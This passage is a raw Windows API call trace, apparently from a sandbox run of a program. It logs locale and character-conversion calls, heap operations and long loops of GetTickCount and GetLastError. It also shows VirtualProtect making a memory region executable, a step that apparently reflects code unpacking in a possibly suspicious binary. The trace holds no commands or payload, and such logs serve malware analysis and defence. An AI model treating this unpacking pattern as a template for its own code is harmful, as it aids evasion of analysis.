lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\௝勰苒⊭, cchWideChar=256, lpMultiByteStr=0x19fb2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0067.711] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1250) returned 1 [0067.712] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1250 | out: hHeap=0x1e0000) returned 1 [0067.712] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018) returned 1 [0067.712] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018 | out: hHeap=0x1e0000) returned 1 [0067.712] GetLastError () returned 0x0 [0067.712] SetLastError (dwErrCode=0x0) [0067.712] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0067.712] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22c) returned 0x1e1018 [0067.712] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x1e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭) returned 256 [0067.712] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0067.712] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22c) returned 0x1e1250 [0067.713] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\台舯­᠌尐砀㄀攀∀, cchSrc=256, lpDestStr=0x1e1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\௝勰苒⊭) returned 256 [0067.713] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\௝勰苒⊭, cchWideChar=256, lpMultiByteStr=0x19fa2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0067.713] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1250) returned 1 [0067.713] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1250 | out: hHeap=0x1e0000) returned 1 [0067.713] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018) returned 1 [0067.713] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018 | out: hHeap=0x1e0000) returned 1 [0067.714] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x824) returned 0x1e1018 [0067.714] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42c630) returned 0x0 [0067.714] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.718] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.718] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.719] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.719] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.719] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.720] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.720] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.720] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e2c60) returned 1 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.721] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.751] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.752] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.753] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.754] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.755] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.756] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.757] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.758] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0067.759] GetLastError () returned 0x0 [0071.042] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74f30000 [0071.043] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualProtect") returned 0x74f47a50 [0071.043] VirtualProtect (in: lpAddress=0x651f20, dwSize=0xf488, flNewProtect=0x40, lpflOldProtect=0x19dbd0 | out: lpflOldProtect=0x19dbd0*=0x4) returned 1 [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.053] GetTickCount () returned 0x11cd740 [0071.053] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.054] SetLastError (dwErrCode=0x0) [0071.054] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.055] GetTickCount () returned 0x11cd740 [0071.055] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.056] GetTickCount () returned 0x11cd740 [0071.056] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError (dwErrCode=0x0) [0071.057] GetTickCount () returned 0x11cd740 [0071.057] SetLastError 